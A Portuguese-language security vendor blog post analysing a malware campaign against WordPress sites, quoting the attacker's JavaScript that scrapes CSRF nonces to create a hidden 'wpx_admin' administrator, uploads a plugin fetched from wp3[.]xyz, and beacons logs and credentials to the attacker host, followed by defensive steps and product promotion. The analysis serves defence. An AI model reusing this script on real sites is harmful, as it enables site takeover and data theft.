Skip to main content
Blog
Blog Attacks

Mais de 5,000 sites WordPress apanhados em ataque de malware WP3[.]XYZ

Descobrimos uma campanha de malware generalizada que visa sites WordPress, afetando mais de 5,000 sites a nível mundial. O domínio malicioso: "https://wp3.xyz/plugin[.]php".

Jan 13, 2025 4 min read
imagem de capa do novo ataque de malware

Resumo: conta de administrador oculta e upload de plugin do wp3.xyz via replay de CSRF

  • Não é um CVE de plugin: A maioria dos guias de reforço de segurança do WordPress aponta as vulnerabilidades de plugins como o risco. O wp3[.]xyz mostra que o risco real é o que um script malicioso faz depois de um comprometimento, e não foi preciso um CVE novo para instalar a backdoor wpx_admin em mais de 5,000 sites.
  • A cadeia do ataque: O script obtinha um token CSRF _wpnonce_create-user, fazia POST de uma conta com função de administrador, depois descarregava o plugin.php e instalava-o via /wp-admin/update.php?action=upload-plugin, exfiltrando registos através de beacons Image() para tdw1.php. A cside detetou e travou o ataque no site de um utilizador do plano gratuito antes de o plugin ser ativado.
  • Vá além do 2FA: Se a sua estratégia de reforço de segurança do WordPress termina nas atualizações de plugins e na autenticação 2FA, está a proteger-se contra o manual de ataque de ontem. Acrescente esta semana uma monitorização de scripts em tempo de execução que sinalize chamadas fetch para /wp-admin/user-new.php provenientes de origens de terceiros.

Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.

Descobrimos uma campanha de malware generalizada que visa sites WordPress, afetando mais de 5,000 sites a nível mundial.

O domínio malicioso: https://wp3[.]xyz/td.js.

Um dos nossos utilizadores foi afetado. A cside detetou e travou o ataque.

diretório de domínios da cside a mostrar o wp3.xyz assinalado como malicioso
O rastreador da cside detetou o domínio malicioso

Ainda não é claro como os scripts entraram nos sites. Até agora, não identificámos um denominador comum, e a nossa investigação está em curso.

Sabemos, contudo, que o script cria contas de administrador não autorizadas com um nome de utilizador e uma palavra-passe que podem ser encontrados no código.

  • Nome de utilizador: wpx_admin
  • Palavra-passe: [REDACTED]

Depois de criar a conta, o script descarrega um plugin malicioso do WordPress e ativa-o no site agora infetado - enviando dados sensíveis para um servidor remoto.

Verifique já o seu site para remover quaisquer contas de administrador não autorizadas e quaisquer plugins ou temas não utilizados.

Encontre sites infetados através de:

O script em detalhe

Primeiro, o script obtém o token CSRF necessário para o pedido. De seguida, envia um pedido POST para criar um utilizador com credenciais fixas no código. Regista o estado da operação.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY CSIDE]');
    formData.append('pass2', '[REDACTED BY CSIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Depois de o script descarregar o plugin obtido de https://wp3[.]xyz/plugin.php, este ativa-o no site infetado. O script comunica com https://wp3[.]xyz/tdw1.php, enviando dados sensíveis como credenciais de administrador e registos de operações através de pedidos de imagem ofuscados.

function sendLog(data) {
    const logUrl = 'https://wp3[.]xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Assim que o atacante tem acesso de administrador, o script carrega um plugin malicioso. Vai buscar o plugin a um servidor remoto e carrega-o no site WordPress.

A função installPlugin funciona da seguinte forma:

  1. Obtém a página de upload de plugins para recuperar o token CSRF.
  2. Descarrega o ficheiro do plugin malicioso.
  3. Submete o ficheiro do plugin para instalação.

De seguida, utiliza as seguintes técnicas:

  • Carregamento do plugin via: /wp-admin/update[.]php?action=upload-plugin.
  • Obtenção do plugin a partir de uma fonte externa: https://wp3[.]xyz.
async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

Por fim, o script verifica se o plugin malicioso foi instalado com sucesso, procurando referências a https://wp3[.]xyz no conteúdo do site.

const finalCheck = await fetch(window.location.origin, {
    credentials: 'include',
    headers: { 'Accept': 'text/html' }
}).then(r => r.text());

if (finalCheck.includes('wp3[.]xyz')) {
    sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
    sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Proteja-se contra este ataque

  1. Bloqueie o domínio https://wp3[.]xyz em firewalls ou ferramentas de segurança.
  2. Audite as contas de administrador do WordPress em busca de utilizadores não autorizados.
  3. Remova plugins suspeitos e valide os existentes.
  4. Reforce as proteções CSRF e implemente autenticação multifator (MFA).
  5. Considere utilizar a cside

O utilizador infetado utilizava a versão de plano gratuito da cside. Pode instalar a cside para proteger o seu site em minutos contra este ataque e outros semelhantes.

A cside obtém e analisa todos os scripts do nosso lado para análise em tempo real, alertando e bloqueando os potencialmente maliciosos. Este script, obtido de https://wp3[.]xyz/tdw.js, foi detetado e bloqueado com sucesso no site do nosso utilizador.

Por favor, contacte-nos se estiver preocupado ou quiser aderir aos planos superiores.

Verifique o seu site em busca de todos os administradores e certifique-se de que as respetivas palavras-passe e 2FA estão configurados corretamente. Pode utilizar o nosso rastreador público para verificar se existem scripts potencialmente maliciosos no seu site.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Sites WordPress comprometidos carregavam um script de wp3.xyz que criava contas de administrador ocultas e exfiltrava credenciais. Mais de 5,000 sites foram identificados na altura do nosso relatório, e muitos mais continuavam ativos dias depois.

Procure no código-fonte do seu site por referências a wp3.xyz, remova quaisquer utilizadores administradores desconhecidos e rode todas as credenciais do WordPress. Executar um scanner do lado do cliente como o da cside também deteta tentativas de injeção que as verificações estáticas de plugins não detetam.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração

Quer ver isso em detalhe com um engenheiro?

Trinta minutos, no seu próprio site. Sem slides.

Vamos mostrar:

Quais scripts de terceiros estão rodando no seu site agora
Como você está em relação aos requisitos 6.4.3 e 11.6.1 do PCI DSS
Qual parte do seu tráfego é de bots e agentes de IA

Prefere só mandar uma pergunta?

Procurando horários livres…

Apenas humanos de verdade. A gente saberia.

Problemas para agendar? Abrir o agendador em uma nova aba

O que você está tentando resolver?

Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

Costumamos ajudar com:

Ver quais scripts de terceiros rodam no seu site
Evidências para PCI DSS 6.4.3 e 11.6.1
Bots, agentes de IA e roubo de contas

Prefere agendar um horário? Escolher um horário